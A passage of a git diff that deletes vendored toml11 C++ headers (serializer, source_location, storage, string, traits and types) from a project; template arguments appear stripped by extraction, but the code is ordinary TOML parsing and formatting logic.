auto& item : v) - { - if(is_first) {is_first = false;} else {token += ',';} - token += visit(serializer( - (std::numeric_limits::max)(), this->float_prec_, - /* inlined */ true, /*no comment*/ false, /*keys*/ {}, - /*has_comment*/ !item.comments().empty()), item); - } - token += ']'; - return token; - } - - std::string make_inline_table(const table_type& v) const - { - assert(!has_comment_inside(v)); - assert(this->can_be_inlined_); - std::string token; - token += '{'; - bool is_first = true; - for(const auto& kv : v) - { - // in inline tables, trailing comma is not allowed (toml-lang #569). - if(is_first) {is_first = false;} else {token += ',';} - token += format_key(kv.first); - token += '='; - token += visit(serializer( - (std::numeric_limits::max)(), this->float_prec_, - /* inlined */ true, /*no comment*/ false, /*keys*/ {}, - /*has_comment*/ !kv.second.comments().empty()), kv.second); - } - token += '}'; - return token; - } - - std::string make_multiline_table(const table_type& v) const - { - std::string token; - - // print non-table elements first. - // ```toml - // [foo] # a table we're writing now here - // key = "value" # <- non-table element, "key" - // # ... - // [foo.bar] # <- table element, "bar" - // ``` - // because after printing [foo.bar], the remaining non-table values will - // be assigned into [foo.bar], not [foo]. Those values should be printed - // earlier. - for(const auto& kv : v) - { - if(kv.second.is_table() || is_array_of_tables(kv.second)) - { - continue; - } - - token += write_comments(kv.second); - - const auto key_and_sep = format_key(kv.first) + " = "; - const auto residual_width = (this->width_ > key_and_sep.size()) ? - this->width_ - key_and_sep.size() : 0; - token += key_and_sep; - token += visit(serializer(residual_width, this->float_prec_, - /*can be inlined*/ true, /*no comment*/ false, /*keys*/ {}, - /*has_comment*/ !kv.second.comments().empty()), kv.second); - - if(token.back() != '\n') - { - token += '\n'; - } - } - - // normal tables / array of tables - - // after multiline table appeared, the other tables cannot be inline - // because the table would be assigned into the table. - // [foo] - // ... - // bar = {...} # <- bar will be a member of [foo]. - bool multiline_table_printed = false; - for(const auto& kv : v) - { - if(!kv.second.is_table() && !is_array_of_tables(kv.second)) - { - continue; // other stuff are already serialized. skip them. - } - - std::vector ks(this->keys_); - ks.push_back(kv.first); - - auto tmp = visit(serializer(this->width_, this->float_prec_, - !multiline_table_printed, this->no_comment_, ks, - /*has_comment*/ !kv.second.comments().empty()), kv.second); - - // If it is the first time to print a multi-line table, it would be - // helpful to separate normal key-value pair and subtables by a - // newline. - // (this checks if the current key-value pair contains newlines. - // but it is not perfect because multi-line string can also contain - // a newline. in such a case, an empty line will be written) TODO - if((!multiline_table_printed) && - std::find(tmp.cbegin(), tmp.cend(), '\n') != tmp.cend()) - { - multiline_table_printed = true; - token += '\n'; // separate key-value pairs and subtables - - token += write_comments(kv.second); - token += tmp; - - // care about recursive tables (all tables in each level prints - // newline and there will be a full of newlines) - if(tmp.substr(tmp.size() - 2, 2) != "\n\n" && - tmp.substr(tmp.size() - 4, 4) != "\r\n\r\n" ) - { - token += '\n'; - } - } - else - { - token += write_comments(kv.second); - token += tmp; - token += '\n'; - } - } - return token; - } - - std::string make_array_of_tables(const array_type& v) const - { - // if it's not inlined, we need to add `[[table.key]]`. - // but if it can be inlined, we can format it as the following. - // ``` - // table.key = [ - // {...}, - // # comment - // {...}, - // ] - // ``` - // This function checks if inlinization is possible or not, and then - // format the array-of-tables in a proper way. - // - // Note about comments: - // - // If the array itself has a comment (value_has_comment_ == true), we - // should try to make it inline. - // ```toml - // # comment about array - // array = [ - // # comment about table element - // {of = "table"} - // ] - // ``` - // If it is formatted as a multiline table, the two comments becomes - // indistinguishable. - // ```toml - // # comment about array - // # comment about table element - // [[array]] - // of = "table" - // ``` - // So we need to try to make it inline, and it force-inlines regardless - // of the line width limit. - // It may fail if the element of a table has comment. In that case, - // the array-of-tables will be formatted as a multiline table. - if(this->can_be_inlined_ || this->value_has_comment_) - { - std::string token; - if(!keys_.empty()) - { - token += format_key(keys_.back()); - token += " = "; - } - - bool failed = false; - token += "[\n"; - for(const auto& item : v) - { - // if an element of the table has a comment, the table - // cannot be inlined. - if(this->has_comment_inside(item.as_table())) - { - failed = true; - break; - } - // write comments for the table itself - token += write_comments(item); - - const auto t = this->make_inline_table(item.as_table()); - - if(t.size() + 1 > width_ || // +1 for the last comma {...}, - std::find(t.cbegin(), t.cend(), '\n') != t.cend()) - { - // if the value itself has a comment, ignore the line width limit - if( ! this->value_has_comment_) - { - failed = true; - break; - } - } - token += t; - token += ",\n"; - } - - if( ! failed) - { - token += "]\n"; - return token; - } - // if failed, serialize them as [[array.of.tables]]. - } - - std::string token; - for(const auto& item : v) - { - token += write_comments(item); - token += "[["; - token += format_keys(keys_); - token += "]]\n"; - token += this->make_multiline_table(item.as_table()); - } - return token; - } - - std::string write_comments(const value_type& v) const - { - std::string retval; - if(this->no_comment_) {return retval;} - - for(const auto& c : v.comments()) - { - retval += '#'; - retval += c; - retval += '\n'; - } - return retval; - } - - bool is_array_of_tables(const value_type& v) const - { - if(!v.is_array() || v.as_array().empty()) {return false;} - return is_array_of_tables(v.as_array()); - } - bool is_array_of_tables(const array_type& v) const - { - // Since TOML v0.5.0, heterogeneous arrays are allowed. So we need to - // check all the element in an array to check if the array is an array - // of tables. - return std::all_of(v.begin(), v.end(), [](const value_type& elem) { - return elem.is_table(); - }); - } - - private: - - bool can_be_inlined_; - bool no_comment_; - bool value_has_comment_; - int float_prec_; - std::size_t width_; - std::vector keys_; -}; - -template class M, template class V> -std::string -format(const basic_value& v, std::size_t w = 80u, - int fprec = std::numeric_limits::max_digits10, - bool no_comment = false, bool force_inline = false) -{ - using value_type = basic_value; - // if value is a table, it is considered to be a root object. - // the root object can't be an inline table. - if(v.is_table()) - { - std::ostringstream oss; - if(!v.comments().empty()) - { - oss << v.comments(); - oss << '\n'; // to split the file comment from the first element - } - const auto serialized = visit(serializer(w, fprec, false, no_comment), v); - oss << serialized; - return oss.str(); - } - return visit(serializer(w, fprec, force_inline), v); -} - -namespace detail -{ -template -int comment_index(std::basic_ostream&) -{ - static const int index = std::ios_base::xalloc(); - return index; -} -} // detail - -template -std::basic_ostream& -nocomment(std::basic_ostream& os) -{ - // by default, it is zero. and by default, it shows comments. - os.iword(detail::comment_index(os)) = 1; - return os; -} - -template -std::basic_ostream& -showcomment(std::basic_ostream& os) -{ - // by default, it is zero. and by default, it shows comments. - os.iword(detail::comment_index(os)) = 0; - return os; -} - -template class M, template class V> -std::basic_ostream& -operator<<(std::basic_ostream& os, const basic_value& v) -{ - using value_type = basic_value; - - // get status of std::setw(). - const auto w = static_cast(os.width()); - const int fprec = static_cast(os.precision()); - os.width(0); - - // by default, iword is initialized by 0. And by default, toml11 outputs - // comments. So `0` means showcomment. 1 means nocommnet. - const bool no_comment = (1 == os.iword(detail::comment_index(os))); - - if(!no_comment && v.is_table() && !v.comments().empty()) - { - os << v.comments(); - os << '\n'; // to split the file comment from the first element - } - // the root object can't be an inline table. so pass `false`. - const auto serialized = visit(serializer(w, fprec, no_comment, false), v); - os << serialized; - - // if v is a non-table value, and has only one comment, then - // put a comment just after a value. in the following way. - // - // ```toml - // key = "value" # comment. - // ``` - // - // Since the top-level toml object is a table, one who want to put a - // non-table toml value must use this in a following way. - // - // ```cpp - // toml::value v; - // std::cout << "user-defined-key = " << v << std::endl; - // ``` - // - // In this case, it is impossible to put comments before key-value pair. - // The only way to preserve comments is to put all of them after a value. - if(!no_comment && !v.is_table() && !v.comments().empty()) - { - os << " #"; - for(const auto& c : v.comments()) {os << c;} - } - return os; -} - -} // toml -#endif// TOML11_SERIALIZER_HPP diff --git a/src/toml11/toml/source_location.hpp b/src/toml11/toml/source_location.hpp deleted file mode 100644 index fa175b5b4..000000000 --- a/src/toml11/toml/source_location.hpp +++ /dev/null @@ -1,233 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_SOURCE_LOCATION_HPP -#define TOML11_SOURCE_LOCATION_HPP -#include -#include - -#include "region.hpp" - -namespace toml -{ - -// A struct to contain location in a toml file. -// The interface imitates std::experimental::source_location, -// but not completely the same. -// -// It would be constructed by toml::value. It can be used to generate -// user-defined error messages. -// -// - std::uint_least32_t line() const noexcept -// - returns the line number where the region is on. -// - std::uint_least32_t column() const noexcept -// - returns the column number where the region starts. -// - std::uint_least32_t region() const noexcept -// - returns the size of the region. -// -// +-- line() +-- region of interest (region() == 9) -// v .---+---. -// 12 | value = "foo bar" -// ^ -// +-- column() -// -// - std::string const& file_name() const noexcept; -// - name of the file. -// - std::string const& line_str() const noexcept; -// - the whole line that contains the region of interest. -// -struct source_location -{ - public: - - source_location() - : line_num_(1), column_num_(1), region_size_(1), - file_name_("unknown file"), line_str_("") - {} - - explicit source_location(const detail::region_base* reg) - : line_num_(1), column_num_(1), region_size_(1), - file_name_("unknown file"), line_str_("") - { - if(reg) - { - if(reg->line_num() != detail::region_base().line_num()) - { - line_num_ = static_cast( - std::stoul(reg->line_num())); - } - column_num_ = static_cast(reg->before() + 1); - region_size_ = static_cast(reg->size()); - file_name_ = reg->name(); - line_str_ = reg->line(); - } - } - - explicit source_location(const detail::region& reg) - : line_num_(static_cast(std::stoul(reg.line_num()))), - column_num_(static_cast(reg.before() + 1)), - region_size_(static_cast(reg.size())), - file_name_(reg.name()), - line_str_ (reg.line()) - {} - explicit source_location(const detail::location& loc) - : line_num_(static_cast(std::stoul(loc.line_num()))), - column_num_(static_cast(loc.before() + 1)), - region_size_(static_cast(loc.size())), - file_name_(loc.name()), - line_str_ (loc.line()) - {} - - ~source_location() = default; - source_location(source_location const&) = default; - source_location(source_location &&) = default; - source_location& operator=(source_location const&) = default; - source_location& operator=(source_location &&) = default; - - std::uint_least32_t line() const noexcept {return line_num_;} - std::uint_least32_t column() const noexcept {return column_num_;} - std::uint_least32_t region() const noexcept {return region_size_;} - - std::string const& file_name() const noexcept {return file_name_;} - std::string const& line_str() const noexcept {return line_str_;} - - private: - - std::uint_least32_t line_num_; - std::uint_least32_t column_num_; - std::uint_least32_t region_size_; - std::string file_name_; - std::string line_str_; -}; - -namespace detail -{ - -// internal error message generation. -inline std::string format_underline(const std::string& message, - const std::vector>& loc_com, - const std::vector& helps = {}, - const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED) -{ - std::size_t line_num_width = 0; - for(const auto& lc : loc_com) - { - std::uint_least32_t line = lc.first.line(); - std::size_t digit = 0; - while(line != 0) - { - line /= 10; - digit += 1; - } - line_num_width = (std::max)(line_num_width, digit); - } - // 1 is the minimum width - line_num_width = std::max(line_num_width, 1); - - std::ostringstream retval; - - if(colorize) - { - retval << color::colorize; // turn on ANSI color - } - - // XXX - // Here, before `colorize` support, it does not output `[error]` prefix - // automatically. So some user may output it manually and this change may - // duplicate the prefix. To avoid it, check the first 7 characters and - // if it is "[error]", it removes that part from the message shown. - if(message.size() > 7 && message.substr(0, 7) == "[error]") - { - retval << color::bold << color::red << "[error]" << color::reset - << color::bold << message.substr(7) << color::reset << '\n'; - } - else - { - retval << color::bold << color::red << "[error] " << color::reset - << color::bold << message << color::reset << '\n'; - } - - const auto format_one_location = [line_num_width] - (std::ostringstream& oss, - const source_location& loc, const std::string& comment) -> void - { - oss << ' ' << color::bold << color::blue - << std::setw(static_cast(line_num_width)) - << std::right << loc.line() << " | " << color::reset - << loc.line_str() << '\n'; - - oss << make_string(line_num_width + 1, ' ') - << color::bold << color::blue << " | " << color::reset - << make_string(loc.column()-1 /*1-origin*/, ' '); - - if(loc.region() == 1) - { - // invalid - // ^------ - oss << color::bold << color::red << "^---" << color::reset; - } - else - { - // invalid - // ~~~~~~~ - const auto underline_len = (std::min)( - static_cast(loc.region()), loc.line_str().size()); - oss << color::bold << color::red - << make_string(underline_len, '~') << color::reset; - } - oss << ' '; - oss << comment; - return; - }; - - assert(!loc_com.empty()); - - // --> example.toml - // | - retval << color::bold << color::blue << " --> " << color::reset - << loc_com.front().first.file_name() << '\n'; - retval << make_string(line_num_width + 1, ' ') - << color::bold << color::blue << " |\n" << color::reset; - // 1 | key value - // | ^--- missing = - format_one_location(retval, loc_com.front().first, loc_com.front().second); - - // process the rest of the locations - for(std::size_t i=1; i filename.toml" again - { - retval << color::bold << color::blue << " --> " << color::reset - << curr.first.file_name() << '\n'; - retval << make_string(line_num_width + 1, ' ') - << color::bold << color::blue << " |\n" << color::reset; - } - - format_one_location(retval, curr.first, curr.second); - } - - if(!helps.empty()) - { - retval << '\n'; - retval << make_string(line_num_width + 1, ' '); - retval << color::bold << color::blue << " |" << color::reset; - for(const auto& help : helps) - { - retval << color::bold << "\nHint: " << color::reset; - retval << help; - } - } - return retval.str(); -} - -} // detail -} // toml -#endif// TOML11_SOURCE_LOCATION_HPP diff --git a/src/toml11/toml/storage.hpp b/src/toml11/toml/storage.hpp deleted file mode 100644 index 202f9035f..000000000 --- a/src/toml11/toml/storage.hpp +++ /dev/null @@ -1,43 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_STORAGE_HPP -#define TOML11_STORAGE_HPP -#include "utility.hpp" - -namespace toml -{ -namespace detail -{ - -// this contains pointer and deep-copy the content if copied. -// to avoid recursive pointer. -template -struct storage -{ - using value_type = T; - - explicit storage(value_type const& v): ptr(toml::make_unique(v)) {} - explicit storage(value_type&& v): ptr(toml::make_unique(std::move(v))) {} - ~storage() = default; - storage(const storage& rhs): ptr(toml::make_unique(*rhs.ptr)) {} - storage& operator=(const storage& rhs) - { - this->ptr = toml::make_unique(*rhs.ptr); - return *this; - } - storage(storage&&) = default; - storage& operator=(storage&&) = default; - - bool is_ok() const noexcept {return static_cast(ptr);} - - value_type& value() & noexcept {return *ptr;} - value_type const& value() const& noexcept {return *ptr;} - value_type&& value() && noexcept {return std::move(*ptr);} - - private: - std::unique_ptr ptr; -}; - -} // detail -} // toml -#endif// TOML11_STORAGE_HPP diff --git a/src/toml11/toml/string.hpp b/src/toml11/toml/string.hpp deleted file mode 100644 index 5136d8c56..000000000 --- a/src/toml11/toml/string.hpp +++ /dev/null @@ -1,225 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_STRING_HPP -#define TOML11_STRING_HPP -#include - -#include -#include - -#if __cplusplus >= 201703L -#if __has_include() -#define TOML11_USING_STRING_VIEW 1 -#include -#endif -#endif - -namespace toml -{ - -enum class string_t : std::uint8_t -{ - basic = 0, - literal = 1, -}; - -struct string -{ - string() = default; - ~string() = default; - string(const string& s) = default; - string(string&& s) = default; - string& operator=(const string& s) = default; - string& operator=(string&& s) = default; - - string(const std::string& s): kind(string_t::basic), str(s){} - string(const std::string& s, string_t k): kind(k), str(s){} - string(const char* s): kind(string_t::basic), str(s){} - string(const char* s, string_t k): kind(k), str(s){} - - string(std::string&& s): kind(string_t::basic), str(std::move(s)){} - string(std::string&& s, string_t k): kind(k), str(std::move(s)){} - - string& operator=(const std::string& s) - {kind = string_t::basic; str = s; return *this;} - string& operator=(std::string&& s) - {kind = string_t::basic; str = std::move(s); return *this;} - - operator std::string& () & noexcept {return str;} - operator std::string const& () const& noexcept {return str;} - operator std::string&& () && noexcept {return std::move(str);} - - string& operator+=(const char* rhs) {str += rhs; return *this;} - string& operator+=(const char rhs) {str += rhs; return *this;} - string& operator+=(const std::string& rhs) {str += rhs; return *this;} - string& operator+=(const string& rhs) {str += rhs.str; return *this;} - -#if defined(TOML11_USING_STRING_VIEW) && TOML11_USING_STRING_VIEW>0 - explicit string(std::string_view s): kind(string_t::basic), str(s){} - string(std::string_view s, string_t k): kind(k), str(s){} - - string& operator=(std::string_view s) - {kind = string_t::basic; str = s; return *this;} - - explicit operator std::string_view() const noexcept - {return std::string_view(str);} - - string& operator+=(const std::string_view& rhs) {str += rhs; return *this;} -#endif - - string_t kind; - std::string str; -}; - -inline bool operator==(const string& lhs, const string& rhs) -{ - return lhs.kind == rhs.kind && lhs.str == rhs.str; -} -inline bool operator!=(const string& lhs, const string& rhs) -{ - return !(lhs == rhs); -} -inline bool operator<(const string& lhs, const string& rhs) -{ - return (lhs.kind == rhs.kind) ? (lhs.str < rhs.str) : (lhs.kind < rhs.kind); -} -inline bool operator>(const string& lhs, const string& rhs) -{ - return rhs < lhs; -} -inline bool operator<=(const string& lhs, const string& rhs) -{ - return !(rhs < lhs); -} -inline bool operator>=(const string& lhs, const string& rhs) -{ - return !(lhs < rhs); -} - -inline bool -operator==(const string& lhs, const std::string& rhs) {return lhs.str == rhs;} -inline bool -operator!=(const string& lhs, const std::string& rhs) {return lhs.str != rhs;} -inline bool -operator< (const string& lhs, const std::string& rhs) {return lhs.str < rhs;} -inline bool -operator> (const string& lhs, const std::string& rhs) {return lhs.str > rhs;} -inline bool -operator<=(const string& lhs, const std::string& rhs) {return lhs.str <= rhs;} -inline bool -operator>=(const string& lhs, const std::string& rhs) {return lhs.str >= rhs;} - -inline bool -operator==(const std::string& lhs, const string& rhs) {return lhs == rhs.str;} -inline bool -operator!=(const std::string& lhs, const string& rhs) {return lhs != rhs.str;} -inline bool -operator< (const std::string& lhs, const string& rhs) {return lhs < rhs.str;} -inline bool -operator> (const std::string& lhs, const string& rhs) {return lhs > rhs.str;} -inline bool -operator<=(const std::string& lhs, const string& rhs) {return lhs <= rhs.str;} -inline bool -operator>=(const std::string& lhs, const string& rhs) {return lhs >= rhs.str;} - -inline bool -operator==(const string& lhs, const char* rhs) {return lhs.str == std::string(rhs);} -inline bool -operator!=(const string& lhs, const char* rhs) {return lhs.str != std::string(rhs);} -inline bool -operator< (const string& lhs, const char* rhs) {return lhs.str < std::string(rhs);} -inline bool -operator> (const string& lhs, const char* rhs) {return lhs.str > std::string(rhs);} -inline bool -operator<=(const string& lhs, const char* rhs) {return lhs.str <= std::string(rhs);} -inline bool -operator>=(const string& lhs, const char* rhs) {return lhs.str >= std::string(rhs);} - -inline bool -operator==(const char* lhs, const string& rhs) {return std::string(lhs) == rhs.str;} -inline bool -operator!=(const char* lhs, const string& rhs) {return std::string(lhs) != rhs.str;} -inline bool -operator< (const char* lhs, const string& rhs) {return std::string(lhs) < rhs.str;} -inline bool -operator> (const char* lhs, const string& rhs) {return std::string(lhs) > rhs.str;} -inline bool -operator<=(const char* lhs, const string& rhs) {return std::string(lhs) <= rhs.str;} -inline bool -operator>=(const char* lhs, const string& rhs) {return std::string(lhs) >= rhs.str;} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const string& s) -{ - if(s.kind == string_t::basic) - { - if(std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend()) - { - // it contains newline. make it multiline string. - os << "\"\"\"\n"; - for(auto i=s.str.cbegin(), e=s.str.cend(); i!=e; ++i) - { - switch(*i) - { - case '\\': {os << "\\\\"; break;} - case '\"': {os << "\\\""; break;} - case '\b': {os << "\\b"; break;} - case '\t': {os << "\\t"; break;} - case '\f': {os << "\\f"; break;} - case '\n': {os << '\n'; break;} - case '\r': - { - // since it is a multiline string, - // CRLF is not needed to be escaped. - if(std::next(i) != e && *std::next(i) == '\n') - { - os << "\r\n"; - ++i; - } - else - { - os << "\\r"; - } - break; - } - default: {os << *i; break;} - } - } - os << "\\\n\"\"\""; - return os; - } - // no newline. make it inline. - os << "\""; - for(const auto c : s.str) - { - switch(c) - { - case '\\': {os << "\\\\"; break;} - case '\"': {os << "\\\""; break;} - case '\b': {os << "\\b"; break;} - case '\t': {os << "\\t"; break;} - case '\f': {os << "\\f"; break;} - case '\n': {os << "\\n"; break;} - case '\r': {os << "\\r"; break;} - default : {os << c; break;} - } - } - os << "\""; - return os; - } - // the string `s` is literal-string. - if(std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend() || - std::find(s.str.cbegin(), s.str.cend(), '\'') != s.str.cend() ) - { - // contains newline or single quote. make it multiline. - os << "'''\n" << s.str << "'''"; - return os; - } - // normal literal string - os << '\'' << s.str << '\''; - return os; -} - -} // toml -#endif// TOML11_STRING_H diff --git a/src/toml11/toml/traits.hpp b/src/toml11/toml/traits.hpp deleted file mode 100644 index 5495c93b2..000000000 --- a/src/toml11/toml/traits.hpp +++ /dev/null @@ -1,327 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_TRAITS_HPP -#define TOML11_TRAITS_HPP - -#include "from.hpp" -#include "into.hpp" - -#include -#include -#include -#include -#include -#include - -#if __cplusplus >= 201703L -#if __has_include() -#include -#endif // has_include() -#endif // cplusplus >= C++17 - -namespace toml -{ -template class T, template class A> -class basic_value; - -namespace detail -{ -// --------------------------------------------------------------------------- -// check whether type T is a kind of container/map class - -struct has_iterator_impl -{ - template static std::true_type check(typename T::iterator*); - template static std::false_type check(...); -}; -struct has_value_type_impl -{ - template static std::true_type check(typename T::value_type*); - template static std::false_type check(...); -}; -struct has_key_type_impl -{ - template static std::true_type check(typename T::key_type*); - template static std::false_type check(...); -}; -struct has_mapped_type_impl -{ - template static std::true_type check(typename T::mapped_type*); - template static std::false_type check(...); -}; -struct has_reserve_method_impl -{ - template static std::false_type check(...); - template static std::true_type check( - decltype(std::declval().reserve(std::declval()))*); -}; -struct has_push_back_method_impl -{ - template static std::false_type check(...); - template static std::true_type check( - decltype(std::declval().push_back(std::declval()))*); -}; -struct is_comparable_impl -{ - template static std::false_type check(...); - template static std::true_type check( - decltype(std::declval() < std::declval())*); -}; - -struct has_from_toml_method_impl -{ - template class Tb, template class A> - static std::true_type check( - decltype(std::declval().from_toml( - std::declval<::toml::basic_value>()))*); - - template class Tb, template class A> - static std::false_type check(...); -}; -struct has_into_toml_method_impl -{ - template - static std::true_type check(decltype(std::declval().into_toml())*); - template - static std::false_type check(...); -}; - -struct has_specialized_from_impl -{ - template - static std::false_type check(...); - template)> - static std::true_type check(::toml::from*); -}; -struct has_specialized_into_impl -{ - template - static std::false_type check(...); - template)> - static std::true_type check(::toml::from*); -}; - - -/// Intel C++ compiler can not use decltype in parent class declaration, here -/// is a hack to work around it. https://stackoverflow.com/a/23953090/4692076 -#ifdef __INTEL_COMPILER -#define decltype(...) std::enable_if::type -#endif - -template -struct has_iterator : decltype(has_iterator_impl::check(nullptr)){}; -template -struct has_value_type : decltype(has_value_type_impl::check(nullptr)){}; -template -struct has_key_type : decltype(has_key_type_impl::check(nullptr)){}; -template -struct has_mapped_type : decltype(has_mapped_type_impl::check(nullptr)){}; -template -struct has_reserve_method : decltype(has_reserve_method_impl::check(nullptr)){}; -template -struct has_push_back_method : decltype(has_push_back_method_impl::check(nullptr)){}; -template -struct is_comparable : decltype(is_comparable_impl::check(nullptr)){}; - -template class Tb, template class A> -struct has_from_toml_method -: decltype(has_from_toml_method_impl::check(nullptr)){}; - -template -struct has_into_toml_method -: decltype(has_into_toml_method_impl::check(nullptr)){}; - -template -struct has_specialized_from : decltype(has_specialized_from_impl::check(nullptr)){}; -template -struct has_specialized_into : decltype(has_specialized_into_impl::check(nullptr)){}; - -#ifdef __INTEL_COMPILER -#undef decltype -#endif - -// --------------------------------------------------------------------------- -// C++17 and/or/not - -#if __cplusplus >= 201703L - -using std::conjunction; -using std::disjunction; -using std::negation; - -#else - -template struct conjunction : std::true_type{}; -template struct conjunction : T{}; -template -struct conjunction : - std::conditional(T::value), conjunction, T>::type -{}; - -template struct disjunction : std::false_type{}; -template struct disjunction : T {}; -template -struct disjunction : - std::conditional(T::value), T, disjunction>::type -{}; - -template -struct negation : std::integral_constant(T::value)>{}; - -#endif - -// --------------------------------------------------------------------------- -// type checkers - -template struct is_std_pair : std::false_type{}; -template -struct is_std_pair> : std::true_type{}; - -template struct is_std_tuple : std::false_type{}; -template -struct is_std_tuple> : std::true_type{}; - -template struct is_std_forward_list : std::false_type{}; -template -struct is_std_forward_list> : std::true_type{}; - -template struct is_chrono_duration: std::false_type{}; -template -struct is_chrono_duration>: std::true_type{}; - -template -struct is_map : conjunction< // map satisfies all the following conditions - has_iterator, // has T::iterator - has_value_type, // has T::value_type - has_key_type, // has T::key_type - has_mapped_type // has T::mapped_type - >{}; -template struct is_map : is_map{}; -template struct is_map : is_map{}; -template struct is_map : is_map{}; -template struct is_map : is_map{}; - -template -struct is_container : conjunction< - negation>, // not a map - negation>, // not a std::string -#if __cplusplus >= 201703L -#if __has_include() - negation>, // not a std::string_view -#endif // has_include() -#endif - has_iterator, // has T::iterator - has_value_type // has T::value_type - >{}; -template struct is_container : is_container{}; -template struct is_container : is_container{}; -template struct is_container : is_container{}; -template struct is_container : is_container{}; - -template -struct is_basic_value: std::false_type{}; -template struct is_basic_value : is_basic_value{}; -template struct is_basic_value : is_basic_value{}; -template struct is_basic_value : is_basic_value{}; -template struct is_basic_value : is_basic_value{}; -template class M, template class V> -struct is_basic_value<::toml::basic_value>: std::true_type{}; - -// --------------------------------------------------------------------------- -// C++14 index_sequence - -#if __cplusplus >= 201402L - -using std::index_sequence; -using std::make_index_sequence; - -#else - -template struct index_sequence{}; - -template struct push_back_index_sequence{}; -template -struct push_back_index_sequence, N> -{ - typedef index_sequence type; -}; - -template -struct index_sequence_maker -{ - typedef typename push_back_index_sequence< - typename index_sequence_maker::type, N>::type type; -}; -template<> -struct index_sequence_maker<0> -{ - typedef index_sequence<0> type; -}; -template -using make_index_sequence = typename index_sequence_maker::type; - -#endif // __cplusplus >= 2014 - -// --------------------------------------------------------------------------- -// C++14 enable_if_t - -#if __cplusplus >= 201402L - -using std::enable_if_t; - -#else - -template -using enable_if_t = typename std::enable_if::type; - -#endif // __cplusplus >= 2014 - -// --------------------------------------------------------------------------- -// return_type_of_t - -#if __cplusplus >= 201703L && defined(__cpp_lib_is_invocable) && __cpp_lib_is_invocable>=201703 - -template -using return_type_of_t = std::invoke_result_t; - -#else -// result_of is deprecated after C++17 -template -using return_type_of_t = typename std::result_of::type; - -#endif - -// --------------------------------------------------------------------------- -// is_string_literal -// -// to use this, pass `typename remove_reference::type` to T. - -template -struct is_string_literal: -disjunction< - std::is_same, - conjunction< - std::is_array, - std::is_same::type> - > - >{}; - -// --------------------------------------------------------------------------- -// C++20 remove_cvref_t - -template -struct remove_cvref -{ - using type = typename std::remove_cv< - typename std::remove_reference::type>::type; -}; - -template -using remove_cvref_t = typename remove_cvref::type; - -}// detail -}//toml -#endif // TOML_TRAITS diff --git a/src/toml11/toml/types.hpp b/src/toml11/toml/types.hpp deleted file mode 100644 index 1e420e7fd..000000000 --- a/src/toml11/toml/types.hpp +++ /dev/null @@ -1,173 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_TYPES_HPP -#define TOML11_TYPES_HPP -#include -#include - -#include "comments.hpp" -#include "datetime.hpp" -#include "string.hpp" -#include "traits.hpp" - -namespace toml -{ - -template class Table, // map-like class - template class Array> // vector-like class -class basic_value; - -using character = char; -using key = std::string; - -#if !defined(__clang__) && defined(__GNUC__) && __GNUC__ <= 4 -# pragma GCC diagnostic push -# pragma GCC diagnostic ignored "-Wshadow" -#endif - -using boolean = bool; -using integer = std::int64_t; -using floating = double; // "float" is a keyword, cannot use it here. -// the following stuffs are structs defined here, so aliases are not needed. -// - string -// - offset_datetime -// - offset_datetime -// - local_datetime -// - local_date -// - local_time - -#if defined(__GNUC__) && !defined(__clang__) -# pragma GCC diagnostic pop -#endif - -// default toml::value and default array/table. these are defined after defining -// basic_value itself. -// using value = basic_value; -// using array = typename value::array_type; -// using table = typename value::table_type; - -// to avoid warnings about `value_t::integer` is "shadowing" toml::integer in -// GCC -Wshadow=global. -#if defined(__GNUC__) && !defined(__clang__) -# pragma GCC diagnostic push -# if 7 <= __GNUC__ -# pragma GCC diagnostic ignored "-Wshadow=global" -# else // gcc-6 or older -# pragma GCC diagnostic ignored "-Wshadow" -# endif -#endif -enum class value_t : std::uint8_t -{ - empty = 0, - boolean = 1, - integer = 2, - floating = 3, - string = 4, - offset_datetime = 5, - local_datetime = 6, - local_date = 7, - local_time = 8, - array = 9, - table = 10, -}; -#if defined(__GNUC__) && !defined(__clang__) -# pragma GCC diagnostic pop -#endif - -template -inline std::basic_ostream& -operator<<(std::basic_ostream& os, value_t t) -{ - switch(t) - { - case value_t::boolean : os << "boolean"; return os; - case value_t::integer : os << "integer"; return os; - case value_t::floating : os << "floating"; return os; - case value_t::string : os << "string"; return os; - case value_t::offset_datetime : os << "offset_datetime"; return os; - case value_t::local_datetime : os << "local_datetime"; return os; - case value_t::local_date : os << "local_date"; return os; - case value_t::local_time : os << "local_time"; return os; - case value_t::array : os << "array"; return os; - case value_t::table : os << "table"; return os; - case value_t::empty : os << "empty"; return os; - default : os << "unknown"; return os; - } -} - -template, - typename alloc = std::allocator> -inline std::basic_string stringize(value_t t) -{ - std::basic_ostringstream oss; - oss << t; - return oss.str(); -} - -namespace detail -{ - -// helper to define a type that represents a value_t value. -template -using value_t_constant = std::integral_constant; - -// meta-function that convertes from value_t to the exact toml type that corresponds to. -// It takes toml::basic_value type because array and table types depend on it. -template struct enum_to_type {using type = void ;}; -template struct enum_to_type{using type = void ;}; -template struct enum_to_type{using type = boolean ;}; -template struct enum_to_type{using type = integer ;}; -template struct enum_to_type{using type = floating ;}; -template struct enum_to_type{using type = string ;}; -template struct enum_to_type{using type = offset_datetime ;}; -template struct enum_to_type{using type = local_datetime ;}; -template struct enum_to_type{using type = local_date ;}; -template struct enum_to_type{using type = local_time ;}; -template struct enum_to_type{using type = typename Value::array_type;}; -template struct enum_to_type{using type = typename Value::table_type;}; - -// meta-function that converts from an exact toml type to the enum that corresponds to. -template -struct type_to_enum : std::conditional< - std::is_same::value, // if T == array_type, - value_t_constant, // then value_t::array - typename std::conditional< // else... - std::is_same::value, // if T == table_type - value_t_constant, // then value_t::table - value_t_constant // else value_t::empty - >::type - >::type {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct 